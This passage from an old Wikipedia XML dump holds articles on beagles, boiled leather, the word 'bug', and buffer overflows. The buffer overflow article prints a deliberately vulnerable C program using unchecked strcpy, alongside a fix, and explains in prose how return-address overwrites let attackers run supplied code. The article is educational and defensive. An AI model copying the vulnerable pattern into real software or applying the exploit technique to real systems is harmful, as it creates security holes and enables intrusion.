They appear in a range of colors, not limited to the familiar tricolor ([[white]] with large [[black]] and light [[brown]] spots). Two-color varieties are always white with colored areas, including such colors as &quot;lemon&quot;, a very light tan; &quot;red&quot;, a reddish, almost orangish brown; &quot;liver&quot;, a darker brown, is the only colour not allowed. &quot;Ticked&quot; varieties may be either white or black with different colored spots (&quot;''ticking''&quot;), such as the bluetick beagle, which has spots that appear to be a midnight-blue color, similar to the [[bluetick coonhound]]. Some tricolor beagles also have ticking of various colors in their white areas. The brown is usually the last color to appear on beagles, usually taking 1-2 years to fully develop.  Beagles have a white-tipped tail, or &quot;flag&quot;, which is important in locating them in the field due to their short height.

===Breed varieties===
The [[American Kennel Club]] and the [[Canadian Kennel Club]] recognize two separate varieties of Beagle: the 13-inch for hounds less than 13 inches, and the 15-inch for those between 13 and 15 inches.  The [[Kennel Club (UK)]] and [[Fédération Cynologique Internationale|FCI]] affiliated clubs recognize a single type, with a height of between 13 and 16 inches.

In Medieval times, there was a breed called a &quot;pocket beagle&quot;, which stood at 8&amp;ndash;9 inches. This breed no longer exists, and many claims by some breeders to have pocket beagles for sale usually indicate poor breeding practices.

== Temperament ==

[[Image:Copper.jpg|thumb|left|The Beagle has a very well-developed sense of smell]]

The Beagle has a very good temper and gentle disposition. Beagles are intelligent, but are stubborn and may be hard to train (due to their strong will). They are an especially loyal breed and are very friendly. They rarely show signs of aggression, and are excellent with children. Beagles also get along with other dogs, provided that they have been socialized correctly. 

They are playful and energetic dogs who enjoy long walks. Never let a Beagle off its leash except in a confined area. If released, it may follow a scent endlessly or will incessantly try to tag along with other dogs. 

Beagles are pack animals, and can be prone to separation anxiety.  Beagles are best in pairs if they are going to be alone for long periods of time.

== Health ==
Beagles are a healthy breed, often living for 12 to 15 years, but they do have a few common health problems. 

The Beagle's ears are long and floppy, which can trap warm moist air or prevent air from reaching the ear canals. This condition can be successfully treated with regular cleaning daily and sometimes medication for major cases. Careless bathing can get water into their ears, potentially causing [[ear infection]]s.  

Sometimes their eyelashes grow into the eye and irritate the eye, also known as [[distichia|distichiasis]]; this might require surgery to remove the eyelashes. 

Obesity is a common health problem in Beagles due to people overfeeding them in response to their playful and kind behavior. A healthy Beagle should have some definition to its waist and have an hourglass appearance when viewed from above. You should be able to feel their ribs. Excessive weight can lead to problems such as [[hip dysplasia]] and heart trouble. They need exercise and a good diet.

Some Beagles are prone to [[congenital heart disease]]. 

In some rare cases Beagles may develop [[polyarthritis]] (where the immune system attacks the joints) even at a young age. This can be sometimes treated effectively with [[cortisone]].

Beagles are also prone to seizures/epilepsy.  This disease is treatable with medication.

== History ==
[[Image:Beagle_resting.jpg|thumb|left|A Beagle taking a break.]]
Beagles (or their ancestors) appear to have been used for hare hunting in England as early as the reign of [[Edward III of England|Edward III]], who had a pack of up to 120 hare hounds with him on the battlefield during the [[Hundred Years' War]]. The first mention of the beagle in English literature by name dates from 1475. The origin of the word &quot;beagle&quot; is uncertain, although it has been suggested that the word derives from the [[French language|French]] ''begueule'' (meaning &quot;open throat&quot;, or more colloquially, &quot;loudmouth&quot;) or from an [[Old English language|Old English]], French, or [[Welsh language|Welsh]] term ''beag'', meaning &quot;small.&quot;  Other possibilities include the French ''beugler'' (meaning &quot;to bellow&quot;) and the [[German language|German]] ''begele'' (meaning &quot;to scold&quot;).

Beagles were originally used for [[hunting]], and still are in some places. [[Beagling]] has been referred to as &quot;the poor person's [[foxhunting]],&quot; as a Beagle pack (30&amp;ndash;40 dogs) is followed on foot, not [[horse]]back. The usual quarry is the [[hare]]. Beagles are admired by some for the bloodcurdling &quot;Beagle music&quot; they emit when in full pursuit, also called ''tonguing''. Beagling, like foxhunting, is banned in [[England]]. [[Drag hunting]] is another Beagle sport.  

===Working life===
[[Image:Cadet2.jpg|thumb|right|A very happy beagle puppy]]

Beagles have superb [[nose]]s and, despite their self-willed temperament, are sometimes used as sniffer dogs for [[recreational drug use|drug]] detection.  More often, though, they are the breed of choice of the [[United States Department of Agriculture]] to detect food items in [[luggage]] being transported into the U.S. The force is called the [[Beagle Brigade]] and these dogs wear a green jacket. Beagles were chosen because they are small and easy to care for, and because they are not as intimidating for people who are uncomfortable around dogs. They are also used for this purpose by the [[Ministry of Agriculture and Fisheries]] in [[New Zealand]] and by the [[Australian Quarantine and Inspection Service]] (for whom they wear maroon jackets).

Beagles are the dog breed most often used in [[animal testing]], due to ther passive nature.

== Miscellaneous ==
===Beagles in popular culture===
* The ''[[Peanuts]]'' [[comic strip]] character [[Snoopy]] and his siblings are beagles.
* [[Phyllis Reynolds Naylor]]'s ''[[Shiloh (book)|Shiloh]]'' trilogy is about a beagle.
* The [[Beagle Boys]] in [[The Walt Disney Company|Disney]]'s [[DuckTales]].
* Character Audrey fforbes-Hamilton has a Beagle in the BBC series 'To the Manor Born'
* Lou in [[Cats and Dogs]]
* [[Porthos (Star Trek)|Porthos]] in [[Star Trek: Enterprise]]
* Buster in [[The Wonder Years]].
* Buckley in [[The Royal Tenenbaums]]

===Famous beagles===
* US President [[Lyndon Johnson]] owned three Beagles named Him, Her, and Edgar.

==External links==
* [http://clubs.akc.org/NBC/ National Beagle Club of America]
* [http://www.thebeagleclub.co.uk/ The Beagle Club (UK)]
* [http://www.petplace.com/dogs/choosing-a-beagle/page1.aspx Choosing a Beagle]

[[Category:Dog breeds]]
[[Category:Scent hounds]]

[[da:Beagle]]
[[de:Beagle (Hund)]]
[[eo:Biglo]]
[[es:Beagle]]
[[fr:Beagle]]
[[hu:Beagle]]
[[ja:ビーグル]]
[[nl:Beagle (hond)]]
[[pl:Beagle (rasa psów)]]
[[pt:Beagle]]
[[sv:Beagle (hundras)]]</text>
    </revision>
  </page>
  <page>
    <title>British Monarchs</title>
    <id>4369</id>
    <revision>
      <id>24509240</id>
      <timestamp>2005-10-01T21:23:42Z</timestamp>
      <contributor>
        <username>Mais oui!</username>
        <id>394460</id>
      </contributor>
      <minor />
      <comment>correct link</comment>
      <text xml:space="preserve">#REDIRECT [[List of monarchs in the British Isles]]</text>
    </revision>
  </page>
  <page>
    <title>Boiled leather</title>
    <id>4371</id>
    <revision>
      <id>24513891</id>
      <timestamp>2005-10-01T22:31:33Z</timestamp>
      <contributor>
        <username>GregAsche</username>
        <id>222781</id>
      </contributor>
      <minor />
      <comment>Stub-sorting. [[Wikipedia:WikiProject Stub sorting|You can help!]]</comment>
      <text xml:space="preserve">'''Boiled leather''', sometimes called '''cuir bouilli''', was historically a popular construction material for [[armour]]. It consists of thick [[leather]], boiled in [[water]] (some sources hold that [[Cooking oil|oil]] and [[wax]] were used as well, others posit the use of [[ammonia]] from fermented animal [[urine]]). The boiling causes the leather to become hard and brittle, gaining some resemblance to the properties of [[wood]]. Since the leather remains flexible and stretchable a short time after the boiling, forming it to the needs of the armourer is quite easy, making it a cheap, light and convenient alternative to [[bronze]], [[steel]], and other historical materials. 

Cuir bouilli has also been employed to [[bookbinding|bind books]].
{{Hist-stub}}
[[Category:Personal armor]]
[[Category:Leather]]</text>
    </revision>
  </page>
  <page>
    <title>Buffer overflow</title>
    <id>4373</id>
    <revision>
      <id>41996656</id>
      <timestamp>2006-03-03T02:55:56Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <comment>moved source code ahead of exploits; modifying slightly</comment>
      <text xml:space="preserve">In [[computer security]] and [[computer programming|programming]], a '''buffer overflow''', or '''buffer overrun''', is an anomalous condition where a [[process (computing)|process]] attempts to store more data in a [[buffer (computer science)|buffer]] than there is [[computer storage|memory]] allocated for it. The result is that the extra data overwrites adjacent memory locations. The overwritten data may include other buffers, variables and program flow data.

Buffer overflows may cause a process to [[Crash (computing)|crash]] or produce incorrect results. They can be triggered by inputs specifically designed to execute malicious code or to make the program operate in an unintended way. As such, buffer overflows cause many [[Vulnerability (computer science)|software vulnerabilities]] and form the basis of many [[exploit (computer security)|exploit]]s. Sufficient [[bounds checking]] by either the programmer or the [[compiler]], can prevent buffer overflows.

==Technical description==
A [[buffer]] overflow occurs when [[data]] written to a buffer, due to insufficient bounds checking, corrupts data values in memory addresses adjacent to the allocated buffer. Most commonly this occurs when copying [[String (computer science)|strings]] of [[Character (computing)|characters]] from one buffer to another.

===Basic example===
In the following example, a program has defined two data items which are adjacent in memory: an 8-byte-long string buffer, A, and a two-byte integer, B. Initially, A contains nothing but zero bytes, and B contains the number 3.  Characters are one byte wide.

{| border=&quot;1&quot;
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | A
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | A
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | A
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | A
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | A
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | A
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | A
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | A
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | B
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | B
 |-
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 0
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 0
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 0
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 0
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 0
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 0
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 0
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 0
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | 0
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | 3
 |}

Now, the program attempts to store the character string &quot;excessive&quot; in the A buffer, followed by a zero byte to mark the end of the string. By not checking the length of the string, it overwrites the value of B:

{| border=&quot;1&quot;
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | A
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | A
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | A
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | A
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | A
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | A
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | A
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | A
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | B
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | B
 |-
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 'e'
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 'x'
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 'c'
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 'e'
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 's'
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 's'
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 'i'
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 'v'
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 'e'
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | 0
 |}

Although the programmer did not intend to change B at all, B's value has now been replaced by a number formed from part of the character string. (In this example, on a [[endianness|big-endian]] system that uses [[ASCII]], 'e' followed by a zero byte becomes the number 25856.)

If B was the only other variable data item defined by the program, writing an even longer string that went past the end of B could cause an error such as a [[segmentation fault]], terminating the process.

===Buffer overflows on the stack===
Besides changing values of unrelated variables, buffer overflows can often be used (exploited) by attackers to change the running program into executing arbitrary supplied code. The techniques available to an attacker to seek control over a [[Computer_process|process]] depend on the memory region where the buffer resides on. For example the [[stack (computing)|stack]] memory region, where data can be temporarily &quot;pushed&quot; onto the &quot;top&quot; of the stack, and later &quot;popped&quot; to read the value of the variable. Typically, when a [[function (computing)|function]] begins executing, temporary data items (local variables) are pushed, which remain accessible only during the execution of that function. Not only are there stack overflows, but also [[Heap overflow|heap overflows]].

In the following example, &quot;X&quot; is data that was on the stack when the program began executing; the program then called a function &quot;Y&quot;, which required a small amount of storage of its own; and &quot;Y&quot; then called &quot;Z&quot;, which required a large buffer:

{| border=&quot;1&quot;
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | Z
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | Z
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | Z
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | Z
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | Z
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | Z
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddffdd&quot; | Y
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | X
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | X
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | X
 |-
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | &amp;nbsp;
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | &amp;nbsp;
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | &amp;nbsp;
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | &amp;nbsp;
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | &amp;nbsp;
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | &amp;nbsp;
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddffdd&quot; | :
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | /
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | /
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | /
 |}

If the function Z caused a buffer overflow, it could overwrite data that belonged to function Y or to the main program:

{| border=&quot;1&quot;
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | Z
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | Z
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | Z
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | Z
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | Z
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | Z
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddffdd&quot; | Y
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | X
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | X
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | X
 |-
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | .
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | .
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | .
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | .
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | .
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | .
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | .
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ffdddd&quot; | .
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | /
 | align=&quot;center&quot; width=&quot;30&quot; bgcolor=&quot;#ddddff&quot; | /
 |}

This is particularly serious because on most systems, the stack also holds the [[return address]], that is, the location of the part of the program that was executing before the current function was called. When the function ends, the temporary storage is removed from the stack, and execution is transferred back to the return address. If, however, the return address has been overwritten by a buffer overflow, it will now point to some other location. In the case of an accidental buffer overflow as in the first example, this will almost certainly be an invalid location, not containing any program instructions, and the process will crash.

===Example source code===
The following is [[C programming language|C]] [[source code]] exhibiting a common programming mistake.  Once compiled, the program will generate a buffer overflow error if run with a command-line argument string that is too long, because this argument is used to fill a buffer without checking its length.

&lt;pre&gt;&lt;nowiki&gt;
/* overflow.c - demonstrates a buffer overflow */

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

int main(int argc, char *argv[])
{
  char buffer[10];
  if(argc &lt; 2)
  {
    fprintf(stderr, &quot;USAGE: %s string\n&quot;, argv[0]);
    return 1;
  }
  strcpy(buffer, argv[1]);
  return 0;
}
&lt;/nowiki&gt;&lt;/pre&gt;

Strings of 9 or fewer characters will not cause a buffer overflow.  Strings of 10 or more characters will cause an overflow; however, they may not always result in a segmentation fault.

This program could be safely rewritten using [[strncpy]] as follows:
&lt;pre&gt;&lt;nowiki&gt;
/* better.c - demonstrates how to fix the problem */

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

int main(int argc, char *argv[])
{
  char buffer[10];
  if(argc &lt; 2)
  {
    fprintf(stderr, &quot;USAGE: %s string\n&quot;, argv[0]);
    return 1;
  }
  strncpy(buffer, argv[1], sizeof(buffer));
  buffer[sizeof(buffer) - 1] = '\0';
  return 0;
}
&lt;/nowiki&gt;&lt;/pre&gt;

===Exploits===
A technically inclined and malicious user who is familiar with a program's structure may use buffer overflows to manipulate the program in one of two basic ways.

# By overwriting a variable that is near the buffer in memory, as in the first example above. This might change the value of a numeric variable, or might change text in some other buffer. This can change the behaviour of the program which may benefit the attacker.
# By overwriting any special variables (such as a function's return address on the stack) that directly or indirectly control the flow of execution, usually to execute attacker-supplied code

Executing attacker-supplied code is usually the goal of any malicious user. The techniques to accomplish this vary per [[Computer architecture|architecture]], [[operating system]] and memory region. For example, exploitation on the [[heap (data structure)|heap]] (used for dynamically allocated variables) is very different from stack-based variables.

The following example illustrates a stack-based buffer overflow exploit that executes attacker-supplied code (the second basic type). A malicious user knows that a program will take whatever character string it is given, and pass it to function X, which will copy it into a 100-byte buffer. However, the user submits a 104-byte string; the first 100 bytes contain program code for some illicit task, and the last 4 bytes&amp;mdash;which will overwrite function X's return address&amp;mdash;are a number which, under normal operating conditions, will be the address of the top of the stack at that point: the location to which function X will have copied the string.

Constructing functional buffer overflow exploits in [[Microsoft Windows|Windows]] typically requires knowledge of the precise location of various machine language [[opcode]]s in the compromised software or included [[dynamic-link library|DLLs]], because the location of the stack cannot be reliably predicted. The [[Metasploit Project]] has compiled a comprehensive Opcode database for this purpose.

==Protection against buffer overflows==
Various techniques have been used to detect or prevent buffer overflows, with various tradeoffs. The most reliable way to avoid or prevent buffer overflows is to use automatic protection at the language level. This sort of protection, however, cannot be applied to [[legacy code]], and often technical, business, or cultural constraints call for a vulnerable language. The following sections describe the choices and implementations available.

===Choice of programming language===
The choice of programming language can have a profound effect on the occurrence of buffer overflows. [[As of 2006]], among the most popular languages are [[C programming language|C]] and its derivative, [[C++]], with an enormous body of software having been written in these languages. C and C++ provide no protection against accessing or overwriting data in any part of memory through invalid [[pointer]]s; more specifically, they do not check that data written to an array (the implementation of a buffer) is within the assumed boundaries of that array.

Variations on C, such as [[Cyclone programming language|Cyclone]] help to prevent more buffer overflows by, for example, attaching size information to arrays.  The [[D programming language]] uses a variety of techniques to avoid most uses of pointers and user-specified bounds checking.

Many other programming languages provide runtime checking which might send a warning or raise an [[exception handling|exception]] when C or C++ would overwrite data.  Examples of such languages range broadly from [[Python programming language|Python]] to [[Ada programming language|Ada]], from [[Lisp programming language|Lisp]] to [[Modula-2]], and from [[Smalltalk]] to [[OCaml]].  The [[Java programming language]], in many ways similar to C and C++, raises exceptions on buffer overflows.  Nearly every [[typesafe|type safe]] or [[interpreted programming language]] will protect against buffer overflows, signalling a well-defined error condition.  [[Static analysis]] can remove many dynamic bound and type checks, but poor implementations and awkward cases can significantly decrease performance. Software engineers must carefully consider the tradeoffs of safety vs. perceived performance costs when deciding which language to use.

===Use of safe libraries===
The problem of buffer overflows is common in the C and C++ languages because they expose low level representational details of buffers as containers for data types.  Buffer overflows are thus avoided by maintaining a high degree of correctness in code which performs buffer management.  Well-written and tested abstract data type libraries which centralize and automatically perform buffer management and include bounds checking can reduce the occurrence of buffer overflows.  The two main building block data types in these languages in which buffer overflows commonly manifest are strings and arrays; libraries preventing buffer overflows in these data types provide the vast majority of the necessary coverage.  Still, failure to use these safe libraries correctly can result in buffer overflows and other vulnerabilities; naturally, any bug in a library itself is a potential vulnerability. Safe library impementations include [http://bstring.sf.net/ The Better String Library], [http://arri.berlios.de/ Arri Buffer API] and [http://www.and.org/vstr/ Vstr]. The [[OpenBSD]] [[operating system]]'s [[C library]] provides some API changes, the [[strlcpy]] and strlcat functions, but these are much more limited than full safe library implementations.

===Stack-smashing protection===
{{Main|Stack-smashing protection}}

Stack-smashing protection is used to detect the most common buffer overflows by checking that the [[stack (computing)|stack]] has not been altered when a function returns.  If it has been altered, the program exits with a [[segmentation fault]]. Three such systems are [http://research.avayalabs.com/project/libsafe/ Libsafe], and the ''[[StackGuard]]'' and ''[[ProPolice]]'' [[GNU Compiler Collection|gcc]] patches.

Stronger stack protection is possible by splitting the stack in two: one for data and one for function returns.  This split is present in the [[Forth programming language]], though it was not a security-based design decision.  Regardless, this is not a complete solution to buffer overflows, as sensitive data other than the return address may still be overwritten.

===Executable space protection===
{{Main|Executable space protection}}

Some operating systems now include features to prevent execution of code on the stack. These include Windows' [[Data Execution Prevention|Data Execution Prevention]], [[OpenBSD]]'s [[W^X]] and the [[PaX]] and [[Exec Shield]] patches for [[Linux]].

===Address space layout randomization===
{{Main|Address space layout randomization}}

Randomization of the [[virtual memory]] addresses at which functions and variables can be found can make exploitation of a buffer overflow more difficult, but not impossible. It also forces the attacker to tailor the exploitation attempt to the individual system, which foils the attempts of [[internet worm]]s. A similar but less effective method is to [[Rebasing|rebase]] processes and libraries in the virtual address space.

===Deep Packet Inspection===
The use of [[Deep packet inspection|Deep Packet Inspection]] (DPI) can detect, at the network perimeter, remote attempts to exploit buffer overflows by use of attack signatures and [[heuristics]]. These are able to block packets which have the signature of a known attack, or if a long series of No-Operation (NOP) instructions (known as a nop-sled) is detected, these are often used when the location of the exploit's [[payload]] is slightly variable.

Packet scanning is not an effective method since it can only prevent known attacks and there are many ways that a 'nop-sled' can be encoded. Attackers have begun to use [[alphanumeric code|alphanumeric]], [[metamorphic code|metamorphic]], and [[self-modifying code|self-modifying]] [[shellcode]]s to avoid detection by heuristic packet scans also.

==History==
In [[1988]], the [[Morris worm]] used a buffer overflow in a [[Unix]] program called [[finger protocol|fingerd]] to propagate itself over the [[Internet]].

Later, in [[1995]], Thomas Lopatic independently rediscovered the buffer overflow and published his findings on the [[Bugtraq]] security mailing list [http://www.security-express.com/archives/bugtraq/1995_1/0403.html], which caused a wave of new security relevant buffer overflows to be found. In [[1996]], [[Elias Levy]] (aka Aleph One) published in ''[[Phrack]]'' magazine the paper &quot;Smashing the Stack for Fun and Profit&quot;[http://doc.bughunter.net/buffer-overflow/smash-stack.html], a step-by-step introduction to exploiting stack-based buffer overflow vulnerabilities, which caused a wave of new buffer overflow exploits to be written {{fact}}.

Then, in [[2001]], the [[Code Red worm]] sent specially crafted packets to machines executing Microsoft [[Internet Information Services]] (IIS) 5.0[http://www.eeye.com/html/Research/Advisories/AL20010717.html], triggering a buffer overflow and yielding full administrative privileges to the worm.  ([[HTTP]] servers typically must have administrative privileges to use the standard [[Transmission Control Protocol|TCP]] port 80; IIS5 did not drop its administrative privileges after using them.) Following in [[2003]], the [[SQLSlammer]] worm compromised machines running [[Microsoft SQL Server 2000]] by sending specially crafted packets to those machines and allowing execution of [[arbitrary code]] [http://www.microsoft.com/technet/security/bulletin/ms02-039.mspx].

==See also==
* [[Computer security]]
* [[Computer insecurity]]
* [[Security focused operating systems]]
* [[Static code analysis]]
* [[Heap overflow]]
* [[Return-to-libc attack]]
* [[Self-modifying code]]
* [[Shellcode]]

==External links==
*[http://doc.bughunter.net/buffer-overflow/smash-stack.html Smashing The Stack For Fun And Profit] by Aleph One
*[http://www.sans.org/rr/paper.php?id=386 SANS: inside the buffer overflow attack]
*(PDF) [https://www.usenix.org/publications/library/proceedings/sec98/full_papers/cowan/cowan.pdf StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks] by Cowan et al.
*[http://doc.bughunter.net/buffer-overflow/ More Security Whitepapers about Buffer Overflows]
*(PDF) [http://www.syngress.com/book_catalog/327_SSPC/sample.pdf Chapter 12: Writing Exploits III] from ''Sockets, Shellcode, Porting &amp; Coding: Reverse Engineering Exploits and Tool Coding for Security Professionals'' by James C. Foster (ISBN 1597490059). Detailed explanation of how to use Metasploit to develop a buffer overflow exploit from scratch.

[[Category:Programming bugs]]
[[Category:Security exploits]]

[[de:Pufferüberlauf]]
[[es:Desbordamiento de búfer]]
[[fi:Puskurin ylivuotovirhe]]
[[fr:Dépassement de tampon]]
[[it:Buffer overflow]]
[[nl:Bufferoverloop]]
[[ja:バッファオーバーラン]]
[[pl:Przepełnienie bufora]]
[[ru:Переполнение буфера]]
[[tr:Arabellek aşımı]]</text>
    </revision>
  </page>
  <page>
    <title>Bug</title>
    <id>4374</id>
    <revision>
      <id>40060916</id>
      <timestamp>2006-02-17T21:18:05Z</timestamp>
      <contributor>
        <username>Joeyramoney</username>
        <id>727159</id>
      </contributor>
      <minor />
      <comment>added album names</comment>
      <text xml:space="preserve">:''If you want to report a bug with the MediaWiki software which runs Wikipedia, go to [http://bugzilla.wikipedia.org/ MediaZilla]''.

{{wiktionarypar|bug}}__NOTOC__
'''Bug''' can mean many things:

== Zoology ==
* &quot;True bug&quot; in entomology, the order [[Hemiptera]]
* Bug, informally can mean any &quot;creepy-crawly&quot;, [[insect]], other [[arthropod]], [[snail]], or [[slug]]
* Edible crustacean; the [[Moreton Bay bug]] and [[Balmain bug]] in Australia, the common [[lobster]] in New England
* [[Pathogen]], or the [[disease]] caused by one
* [[Bug (dog breed)]], crossbreed of Pug and Boston Terrier

==Technology==
* A software defect: [[Software bug]]
* [[Covert listening device]] or device for [[telephone tapping]]
* [[Integrated circuit]] chip, for its  buglike appearance
* Manually positioned marker in [[flight instruments]]
* A semi-automated [[telegraph key]]
* [[Volkswagen Beetle]]

==TV and Movie==
* ''[[Bug (2006 film)]]'', (2006) psychological thriller, directed by William Friedkin. 
* [[Bug (film)|''Bug'' (film)]], directed by Jeannot Szwarc in 1975
* [[Bug (Starship Troopers)]], a fictional alien race from the novel and movie ''Starship Troopers''.
* TV broadcaster's logo superimposed on the screen; see [[Digital On-screen Graphic]]

==Gambling==
* [[Bug (poker)]], a restricted wild card
* A card cheat's bug is a [[holdout]] device

==public Media==
* [[BUG computer magazine]], of Croatia
* ''[[Bug!]]'' and ''[[Bug Too!]]'' video games

==Geography==
* Bug rivers: [[Western Bug]] in Ukraine, Poland, and Belarus, and [[Southern Buh]] in Ukraine

==Other==
* [[Obsession]] (&quot;to catch the skiing bug&quot;)
* To bug someone is to be an [[annoyance]]
* [[Buginese language]] (ISO 639 code bug)
* [[Bug (Dinosaur Jr. album)|Bug]] a 1988 album by Dinosaur Jr.
* [[Bug (Dave Davies album)|Bug]] a 2002 album by [[Dave Davies|Dave Davies]]


{{disambig}}

[[de:Bug]]
[[da:Bug]]
[[fr:Bug]]
[[fi:Bugi]]
[[sv:Bug]]</text>
    </revision>
  </page>
  <page>
    <title>Barry Bonds</title>
    <id>4375</id>
    <revision>
      <id>42130229</id>
      <timestamp>2006-03-04T00:43:46Z</timestamp>
      <contributor>
        <ip>64.6.182.50</ip>
      </contributor>
      <comment>/* Resurgence */</comment>
      <text xml:space="preserve">{{Infobox MLB player|
bgcolor1=#fd5a1e|
bgcolor2=black|
textcolor1=white|
textcolor2=white|
name=Barry Bonds|
image=Beiserebatedor.jpg|
position=Left field|
team=San Francisco Giants|
number=25|
bats=Left|
throws=Left|
debutdate=May 30|
debutyear=1986|
debutteam=Pittsburgh Pirates|
statyear=2005|
stat1label=[[Home run]]s|
stat1value=708|
stat2label=[[Stolen base]]s|
stat2value=506|
stat3label=[[Slugging average]]|
